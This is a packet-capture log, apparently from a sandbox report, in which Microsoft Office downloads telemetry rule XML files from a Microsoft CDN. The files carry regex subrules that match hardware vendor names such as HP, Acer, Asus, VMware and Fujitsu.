2024-10-06 12:08:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:36 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 15158de7-401e-0029-4b00-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120836Z-1657d5bbd48lknvp09v995n79000000001ng000000004ru6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:36 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:36 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:36 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 87fc294c-201e-0051-40f3-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120836Z-1657d5bbd48p2j6x2quer0q028000000021g00000000g37z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:36 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:38 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:38 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 99ffd5e0-b01e-0053-0101-17cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120838Z-1657d5bbd48brl8we3nu8cxwgn00000002bg00000000201y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:38 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:38 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:38 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 789c8418-601e-0032-5905-17eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120838Z-1657d5bbd48jwrqbupe3ktsx9w000000025g000000008qbu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:38 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:38 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:40 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 915c1ee4-001e-0079-3000-1712e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120840Z-1657d5bbd48cpbzgkvtewk0wu000000001yg00000000f7fg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:40 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:38 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:38 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0a3893d3-c01e-0082-33ee-16af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120838Z-1657d5bbd48762wn1qw4s5sd3000000001r000000000heau x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:38 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:38 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:38 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: bf7deccb-401e-0064-0f0e-1754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120838Z-1657d5bbd48sqtlf1huhzuwq7000000001mg00000000ea7t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:38 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:39 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:40 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 27ba9a72-001e-0046-2a01-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120840Z-1657d5bbd48p2j6x2quer0q0280000000270000000004109 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:40 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:39 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:39 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: e72ec3ca-501e-005b-2401-17d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120839Z-1657d5bbd48tqvfc1ysmtbdrg000000001vg000000005xrh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:39 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:39 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:39 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: c2d0a885-201e-0003-7ced-16f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120839Z-1657d5bbd48brl8we3nu8cxwgn00000002c0000000000nqg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:39 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:39 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:39 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 5a59384b-a01e-0053-3602-178603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120839Z-1657d5bbd48tqvfc1ysmtbdrg000000001r000000000fex0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:39 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:40 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 09392ef7-101e-0046-3f05-1791b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120840Z-1657d5bbd48p2j6x2quer0q0280000000250000000008na5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
